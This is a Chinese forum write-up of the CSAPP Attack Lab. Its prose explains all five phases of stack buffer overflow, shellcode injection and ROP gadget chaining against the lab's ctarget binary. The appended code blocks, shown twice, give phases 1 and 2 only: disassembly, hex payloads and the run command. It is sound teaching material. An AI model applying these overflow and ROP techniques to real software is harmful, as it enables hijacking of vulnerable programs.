-
-
[原创]《深入理解计算机系统》Attack Lab 题解
-
发表于: 2025-5-30 21:39 482
-
阅读此篇题解需要有CSAPP第三章基础,对于基本汇编指令本文不做过多说明。尝试Lab前应先下载官方提供的Writeup并在开始每一阶段前阅读相应内容,否则容易一头雾水。
注意,因为我们是在本地运行Lab,所以运行程序时要加上参数-q
,告诉程序不上数据传到伺服器,否则无法运行。
笔者学识稍浅,若有疏漏或错误处,欢迎各位大佬指正。
文档给了test
函数的C代码:
还给了touch1
函数的代码:
题目要求当getbuf
返回时不返回到下一行的printf
,而是跳转到touch1
运行。
首先查看getbuf
的反汇编代码:
0x4017a8
处指令开辟了大小0x28 = 40
(字节)的栈空间,然后将栈顶作为参数(%rdi
)传给Gets
函数。
我们需要在输入时输入48字节的内容让栈溢出,使返回地址被覆盖为touch1
的内存地址。
查看代码我们可以发先touch1
首行指令在地址0x4017c0
处,这是我们想让代码从getbuf
返回的地址。(注意,因为机器采小端序,在输入时应输入C0 17 40 00
)
由此,我们可以构建出shellcode:
我们将这段内容保存在档案phase_1
中,然后使用lab提供的工具hex2raw
将其转换成程序接受的string
类型。
注意,运行ctarget
前要加上-q
,防止因为程序连接不上伺服器而报错。
查看文档,发现给出的touch2
函数要求传入一个无符号数,并检查该输入是否与cookie
相等。
首先查看代码可以知道touch2
函数开头地址为0x4017ec
。在Lab文件夹内有一个文件叫cookie.txt
,里面存放着我们需要的cookie
值。
因为我们要将cookie
值传给touch2
,回想CSAPP第三章内容可以知道,函数的第一个参数存放在%rdi
中。所以我们需要执行以下代码:
然后我们要调用touch2
函数,即0x4017ec
地址处。这里我们不使用call
或jmp
而使用ret
,因为偏移不好计算。注意,ret
指令会跳转到栈顶保存的地址,并将该地址出栈(pop
)。
将三行汇编代码结合在一起,就成功达成调用函数的功能了。我们将这段代码保存在phase_2_asm.s
中,然后使用指令:
打开phase_2_asm.asm,可以发现对应的机器代码。
即:
有这些还不够,因为这些数据在输入后会被储存在栈中,所以会被视为数据而非代码的一部份。所以我们利用栈溢出将栈中原本的储存地址覆盖成栈顶(用户输入数据的存储起始点)的位置,即可让该段代码被值行。(即将%rip
设置为%rsp
)
通过gdb查看,我们可以发现用户输入数据的存储起始点在0x5561dc78
处。
利用0填充空间后,我们可以构建出shellcode并将其保存在phase_2中:
利用以下代码验证其正确性:
查看文档,发现这题需要给hexmatch
函数传入一个等于cookie
的字符串,其中字符串应传入首字符的地址(char *
)。
首先查看touch3
的地址:0x4018fa
。cookie
的值在phase_2
就找到过了:0x59b997fa
。文档中说明传入的cookie
字符串不应包含前缀的0x
,所以实际要传入的字符串应为:59b997fa
。
注意,通过查看文档,我们可以发现一句话:"When functions hexmatch
and strncmp
are called, they push data onto the stack, overwriting portions of memory that held the buffer used by getbuf
. As a result, you will need to be careful where you place the string representation of your cookie. "。即当hexmatch
和strncmp
被调用时会将数据入栈,可能会覆盖getbuf
的部分内容,需要小心选择字符串储存地址。
意即避免将字符串存放在getbuf
的栈帧内,故此我们选择将其存放在test
的栈帧内。
查看test
的栈底:0x5561dca8
。
参考phase_2
我们可以编写出以下汇编代码,并将其转换为机器代码:
到目前为止,我们可以写出以下与phase_2
雷同的shellcode:
由于我们的字符串应储存在0x5561dca8
,而储存我们输入的首地址在0x5561dc78
,所以我们应该给输入的最后一行填充0并在下一行处填入cookie
字符串。
回想字符串如何储存:利用ASCII表示字符。
将cookie
转换为ASCII码后为:35 39 62 39 39 37 66 61
至此,我们的shellcode就构建出来了:
创建文件phase_3
并将shellcode存放在该的文件中,测试:
下个阶段不能使用前三个阶段的代码注入(Code Injection)技术,因为:
故,下两阶段会用到ROP知识(Return-Oriented Programming)。
ROP使用的概念是找出程序中的特殊几个字节,即我们想要执行的代码与ret
,我们称这种片段gadget(ret
指令用来跳转到下一个gadget)。
上图说明了如何在栈中设置并执行一连串的gadget,其中0xc3
表示指令ret
。当每个gadget运行到ret
时,会从栈顶取出下一个gadget的地址并执行,使得整个gadget链被完整执行。
用以下例子举例:
字节序列48 89 c7
就可以组成指令movq %rax, %rdi
,并且这个序列最后还跟随了一个c3
,也就是ret
。我们的目标序列在地址0x400f18
处,所以如果直接跳转到0x400f18
处就可以执行我们想要执行的指令。
此题与phase_2雷同,只是开启了保护。因为无法在栈上执行代码,所以我们使用ROP。
在此我们想使用gadget实现以下功能:
但是显然gadget中不会包含我们需要的立即数(如:0x59b997fa
)。换个思路,我们可以将数据存放在栈中,然后使用popq
取得数值。搜寻popq %rdi
对应的机器代码5f
,发现无法在有效区内找到。我们换个思路,可以尝试用一个中转寄存器储存这个值:
查看上图可发现,对应机器代码为:58 c3
与48 89 c7 c3
。通过搜索我们可以找到以下两个函数:
通过在0x4019cc
截断第一个函数可以构成gadget1
(90
为nop
,即no operation),在0x4019a2
截断第二个函数可以构成gadget2
。
理想状态下,我们期望栈的状态如下:
当getbuf
执行ret
后,会跳转到gadget1
并将其地址出栈。
这时gadget1
中的pop
就会将cookie值从栈顶取出,然后跳转到gadget2
继续执行。
故此,我们可以构建出以下shellcode,并保存在phase_4中:
验证正确性:
终于到这个阶段了,可以先休息一波。官方文档还温馨提示我们:已经得到了95/100的分数,这是一个很棒的分数了。如果大家有甚么其他更重要的事情可以先放下这个lab去做啦!因为这个阶段只占可怜的5分,不值得我们耗费这么多时间去解答它,除非我们将它视为额外的挑战任务,想要超越这门课程对普通学生的期待程度。
既然如此,各位看官若是手头上有其他事情要做,就可以关闭这份题解啦!否则,我们还有路要走喔。
因为地址随机,所以想要获取字符串的储存地址应该使用%rsp + <bias>
的形式取得。
我们想要实现以下功能:
但是寻找后发现没有add
的机器码,我们可以使用另一个函数代替。
因为某些mov
指令的源或目标寄存器的机器码不存在程序中,所以我们需要通过一些过渡寄存器来传递这些值。相信各位在经历phase 4后,已经可以独立寻找到相应的机器码地址。此处便不再重述,直接给出栈的样子 (省略各gadget的ret
指令)。
注意此处偏移量的计算:执行mov %rsp, %rax
时,%rsp
其实正指向存放mov %rax, %rdi
的栈内存。回忆ret
指令相等于以下两条指令pop %rsp
+ jmp %rsp
,所以执行第一个gadget时,%rsp
正指向第二个gadget的内存地址。从第二个gadget算起,到cookie字符串储存的地址,中间隔了9个8字节的大小,所以偏移量为8×9=72(0x48)。
以上,可以构建出shellcode:
验证正确性:
至此,五个阶段全部完结。
终于完结此篇题解,时间拖得有些久,因为进入大学的准备忙得焦头烂额。最近才知道录取的是专业大类且没法依个人意愿自由分流,也就是说进入学校后还需二次分流,笔者很难依意愿进入喜爱的计算机了。正考虑继续就读本地大学或申请国外大学两条路,若选择继续就读本地大学,以后更新频率可能会创下新低,只能使用课余时间研究。等于回到高中时期,既要顾课业也要顾兴趣。最近也要为分流考试准备,预习数学与刷题,可能更新频率也不会太高。
最后,谢谢你愿意看我的后记碎碎念。
void
test()
{
int
val;
val = getbuf();
printf
(
"No exploit. Getbuf returned 0x%x\n"
, val);
}
void
test()
{
int
val;
val = getbuf();
printf
(
"No exploit. Getbuf returned 0x%x\n"
, val);
}
void
touch1()
{
vlevel = 1;
/* Part of validation protocol */
printf
(
"Touch1!: You called touch1()\n"
);
validate(1);
exit
(0);
}
void
touch1()
{
vlevel = 1;
/* Part of validation protocol */
printf
(
"Touch1!: You called touch1()\n"
);
validate(1);
exit
(0);
}
00000000004017a8 <getbuf>:
4017a8: 48 83 ec 28 sub $0x28,%rsp
4017ac: 48 89 e7 mov %rsp,%rdi
4017af: e8 8c 02 00 00 callq 401a40 <Gets>
4017b4: b8 01 00 00 00 mov $0x1,%eax
4017b9: 48 83 c4 28 add $0x28,%rsp
4017bd: c3 retq
4017be: 90 nop
4017bf: 90 nop
00000000004017a8 <getbuf>:
4017a8: 48 83 ec 28 sub $0x28,%rsp
4017ac: 48 89 e7 mov %rsp,%rdi
4017af: e8 8c 02 00 00 callq 401a40 <Gets>
4017b4: b8 01 00 00 00 mov $0x1,%eax
4017b9: 48 83 c4 28 add $0x28,%rsp
4017bd: c3 retq
4017be: 90 nop
4017bf: 90 nop
00000000004017c0 <touch1>:
4017c0: 48 83 ec 08 sub $0x8,%rsp
4017c4: c7 05 0e 2d 20 00 01 movl $0x1,0x202d0e(%rip) # 6044dc <vlevel>
4017cb: 00 00 00
4017ce: bf c5 30 40 00 mov $0x4030c5,%edi
4017d3: e8 e8 f4 ff ff callq 400cc0 <
puts
@plt>
4017d8: bf 01 00 00 00 mov $0x1,%edi
4017dd: e8 ab 04 00 00 callq 401c8d <validate>
4017e2: bf 00 00 00 00 mov $0x0,%edi
4017e7: e8 54 f6 ff ff callq 400e40 <
exit
@plt>
00000000004017c0 <touch1>:
4017c0: 48 83 ec 08 sub $0x8,%rsp
4017c4: c7 05 0e 2d 20 00 01 movl $0x1,0x202d0e(%rip) # 6044dc <vlevel>
4017cb: 00 00 00
4017ce: bf c5 30 40 00 mov $0x4030c5,%edi
4017d3: e8 e8 f4 ff ff callq 400cc0 <
puts
@plt>
4017d8: bf 01 00 00 00 mov $0x1,%edi
4017dd: e8 ab 04 00 00 callq 401c8d <validate>
4017e2: bf 00 00 00 00 mov $0x0,%edi
4017e7: e8 54 f6 ff ff callq 400e40 <
exit
@plt>
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
C0 17 40 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
C0 17 40 00
.
/hex2raw
< phase_1 | .
/ctarget
-q
.
/hex2raw
< phase_1 | .
/ctarget
-q
void
touch2(unsigned val) {
vlevel = 2;
if
(val == cookie) {
printf
(
"Touch2!: You called touch2(0x%.8x)\n"
, val);
validate(2);
}
else
{
printf
(
"Misfire: You called touch2(0.x%8x)\n"
, val);
fail(2);
}
exit
(0);
}
void
touch2(unsigned val) {
vlevel = 2;
if
(val == cookie) {
printf
(
"Touch2!: You called touch2(0x%.8x)\n"
, val);
validate(2);
}
else
{
printf
(
"Misfire: You called touch2(0.x%8x)\n"
, val);
fail(2);
}
exit
(0);
}
00000000004017ec <touch2>:
4017ec: 48 83 ec 08 sub $0x8,%rsp
4017f0: 89 fa mov %edi,%edx
4017f2: c7 05 e0 2c 20 00 02 movl $0x2,0x202ce0(%rip) # 6044dc <vlevel>
4017f9: 00 00 00
4017fc: 3b 3d e2 2c 20 00 cmp 0x202ce2(%rip),%edi # 6044e4 <cookie>
401802: 75 20 jne 401824 <touch2+0x38>
401804: be e8 30 40 00 mov $0x4030e8,%esi
401809: bf 01 00 00 00 mov $0x1,%edi
40180e: b8 00 00 00 00 mov $0x0,%eax
401813: e8 d8 f5 ff ff callq 400df0 <__printf_chk@plt>
401818: bf 02 00 00 00 mov $0x2,%edi
40181d: e8 6b 04 00 00 callq 401c8d <validate>
401822: eb 1e jmp 401842 <touch2+0x56>
401824: be 10 31 40 00 mov $0x403110,%esi
401829: bf 01 00 00 00 mov $0x1,%edi
40182e: b8 00 00 00 00 mov $0x0,%eax
401833: e8 b8 f5 ff ff callq 400df0 <__printf_chk@plt>
401838: bf 02 00 00 00 mov $0x2,%edi
40183d: e8 0d 05 00 00 callq 401d4f <fail>
401842: bf 00 00 00 00 mov $0x0,%edi
401847: e8 f4 f5 ff ff callq 400e40 <
exit
@plt>
00000000004017ec <touch2>:
4017ec: 48 83 ec 08 sub $0x8,%rsp
4017f0: 89 fa mov %edi,%edx
4017f2: c7 05 e0 2c 20 00 02 movl $0x2,0x202ce0(%rip) # 6044dc <vlevel>
4017f9: 00 00 00
4017fc: 3b 3d e2 2c 20 00 cmp 0x202ce2(%rip),%edi # 6044e4 <cookie>
401802: 75 20 jne 401824 <touch2+0x38>
401804: be e8 30 40 00 mov $0x4030e8,%esi
401809: bf 01 00 00 00 mov $0x1,%edi
40180e: b8 00 00 00 00 mov $0x0,%eax
401813: e8 d8 f5 ff ff callq 400df0 <__printf_chk@plt>
401818: bf 02 00 00 00 mov $0x2,%edi
40181d: e8 6b 04 00 00 callq 401c8d <validate>
401822: eb 1e jmp 401842 <touch2+0x56>
401824: be 10 31 40 00 mov $0x403110,%esi
401829: bf 01 00 00 00 mov $0x1,%edi
40182e: b8 00 00 00 00 mov $0x0,%eax
401833: e8 b8 f5 ff ff callq 400df0 <__printf_chk@plt>
401838: bf 02 00 00 00 mov $0x2,%edi
40183d: e8 0d 05 00 00 callq 401d4f <fail>
401842: bf 00 00 00 00 mov $0x0,%edi
401847: e8 f4 f5 ff ff callq 400e40 <
exit
@plt>
movq $0x59b997fa, %rdi
movq $0x59b997fa, %rdi
pushq $0x4017ec
ret
pushq $0x4017ec
ret
gcc -c phase_2_asm.s
objdump -d phase_2_asm > phase_2_asm.asm
gcc -c phase_2_asm.s
objdump -d phase_2_asm > phase_2_asm.asm
phase_2_asm.o: file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi
7: 68 ec 17 40 00 pushq $0x4017ec
c: c3 retq
phase_2_asm.o: file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi
7: 68 ec 17 40 00 pushq $0x4017ec
c: c3 retq
48 c7 c7 fa 97 b9 59 68
ec 17 40 00 c3
48 c7 c7 fa 97 b9 59 68
ec 17 40 00 c3